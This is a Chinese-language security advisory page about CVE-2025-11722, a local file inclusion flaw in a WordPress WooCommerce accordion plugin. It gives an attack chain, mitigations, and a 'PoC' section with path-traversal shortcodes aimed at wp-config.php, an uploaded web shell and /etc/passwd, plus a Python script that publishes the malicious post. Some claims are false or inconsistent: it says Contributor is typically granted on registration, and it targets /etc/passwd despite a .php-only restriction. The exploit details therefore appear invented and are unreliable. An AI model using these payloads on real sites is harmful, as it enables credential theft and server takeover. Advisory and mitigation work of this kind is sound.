IPBUF安全漏洞报告
English
CVE-2025-11722 CVSS 7.5 高危

CVE-2025-11722:WordPress WooCommerce分类和产品手风琴面板插件本地文件包含漏洞

披露日期: 2025-10-15

漏洞信息

漏洞编号
CVE-2025-11722
漏洞类型
本地文件包含(LFI)/ 远程代码执行(RCE)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Woocommerce Category and Products Accordion Panel(WordPress插件)

相关标签

CVE-2025-11722本地文件包含LFI远程代码执行RCEWordPressWooCommerce插件漏洞短代码注入路径遍历

漏洞概述

CVE-2025-11722是WordPress平台的Woocommerce Category and Products Accordion Panel插件中存在的一个高危本地文件包含(Local File Inclusion, LFI)漏洞。该漏洞影响该插件所有版本,最高至1.0版本(含)。该漏洞存在于插件的'categoryaccordionpanel'短代码(shortcode)处理逻辑中,由于对用户可控输入参数缺乏充分的验证和过滤,攻击者可以利用该漏洞包含并执行服务器上的任意.php文件。

根据CVSS 3.1评分体系,该漏洞的评分为7.5分,属于高危级别。其攻击向量为网络(AV:N),攻击复杂度较高(AC:H),需要低权限认证(PR:L),无需用户交互(UI:N)。一旦被成功利用,将对系统的机密性、完整性和可用性均产生高影响(C:H/I:H/A:H)。

该漏洞由WordPress安全公司WordFence的安全团队发现并报告。攻击者需要具备Contributor(投稿者)级别或以上的WordPress账户权限即可利用此漏洞。这意味着在多用户WordPress站点中,任何拥有内容贡献权限的用户都可能成为潜在的攻击者。由于该漏洞可以用于绕过访问控制、获取敏感数据,甚至在允许上传PHP文件的场景下实现远程代码执行(RCE),因此对使用该插件的WordPress站点构成严重威胁。

技术细节

该漏洞的核心问题在于Woocommerce Category and Products Accordion Panel插件的短代码处理函数中,未对用户通过短代码属性传入的文件路径进行充分的验证和过滤。具体而言,当插件解析'categoryaccordionpanel'短代码时,会将用户提供的参数直接用于文件包含操作(如include、require等),而没有限制文件路径的范围或检查文件扩展名。

从代码层面分析,根据参考链接中指向的源码文件(include/abstract.php第256行和include/categoryaccordionpanel.php第87行),漏洞出现在短代码渲染流程中。攻击者可以构造恶意的短代码参数,指定服务器上的任意.php文件路径,例如通过路径遍历(../)访问Web目录外的敏感文件,或者包含已上传的恶意PHP文件。

利用方式如下:
1. 攻击者使用Contributor级别账户登录WordPress后台;
2. 创建新文章或页面,在内容中插入构造的短代码,例如:[categoryaccordionpanel file="../../../wp-config.php"]或包含其他恶意PHP文件路径;
3. 当管理员或具有权限的用户预览或发布该文章时,插件会执行文件包含操作,导致任意PHP代码执行;
4. 攻击者可通过此方式读取服务器敏感配置文件、上传Webshell或执行任意代码。

该漏洞的利用需要认证(Contributor级别权限),但由于WordPress站点通常允许用户注册并自动获得Contributor权限,因此攻击门槛相对较低。

攻击链分析

STEP 1
步骤1:获取Contributor级别账户
攻击者注册一个WordPress账户(如果站点开放注册)或利用已获取的低权限账户,确保至少拥有Contributor级别权限。
STEP 2
步骤2:构造恶意短代码
攻击者构造包含恶意文件路径参数的'categoryaccordionpanel'短代码,指定要包含的目标PHP文件路径,可使用路径遍历绕过目录限制。
STEP 3
步骤3:创建包含恶意短代码的内容
攻击者在WordPress中创建新文章或页面,将构造的恶意短代码嵌入内容中,并提交发布或保存为草稿等待预览。
STEP 4
步骤4:触发文件包含
当文章被预览、发布或被其他用户访问时,插件的短代码处理函数解析该短代码,执行文件包含操作,加载并执行指定的PHP文件。
STEP 5
步骤5:执行恶意代码
被包含的PHP文件被执行,攻击者可读取敏感配置文件、获取数据库凭证、上传WebShell或执行任意系统命令,实现完全控制目标服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-11722 - Local File Inclusion PoC via categoryaccordionpanel shortcode --> <!-- Attacker needs at least Contributor-level WordPress access --> <!-- PoC 1: Include wp-config.php to extract database credentials --> [categoryaccordionpanel file="../../../wp-config.php"] <!-- PoC 2: Include a previously uploaded malicious PHP file (e.g., via media upload) --> [categoryaccordionpanel file="../../../wp-content/uploads/2025/10/shell.php"] <!-- PoC 3: Path traversal to include arbitrary PHP files on the server --> [categoryaccordionpanel file="../../../../etc/passwd"] <!-- Full exploitation workflow (Python example): import requests TARGET = "http://target-wordpress-site.com" USERNAME = "attacker_contributor" PASSWORD = "password123" session = requests.Session() # Step 1: Login as Contributor login_data = { "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In", "redirect_to": f"{TARGET}/wp-admin/post-new.php", "testcookie": "1" } session.post(f"{TARGET}/wp-login.php", data=login_data) # Step 2: Create a new post with malicious shortcode post_data = { "post_title": "Test Post", "post_content": '[categoryaccordionpanel file="../../../wp-config.php"]', "post_status": "publish", "post_type": "post" } session.post(f"{TARGET}/wp-admin/post.php", data=post_data) print("Malicious post published, LFI triggered upon page render") -->

影响范围

Woocommerce Category and Products Accordion Panel 所有版本 <= 1.0

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)立即停用并移除Woocommerce Category and Products Accordion Panel插件;2)如果必须使用该插件,临时禁止新用户注册并将现有Contributor级别用户降级或暂停;3)在WordPress前端和WAF层面添加规则,拦截包含'categoryaccordionpanel'短代码的可疑请求;4)检查站点中是否存在异常的PHP文件或WebShell,特别关注wp-content/uploads目录;5)审查近期由Contributor级别用户创建的所有文章内容,排查是否存在恶意短代码;6)修改数据库密码、WordPress管理密码等敏感凭证,以应对可能已发生的数据泄露。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表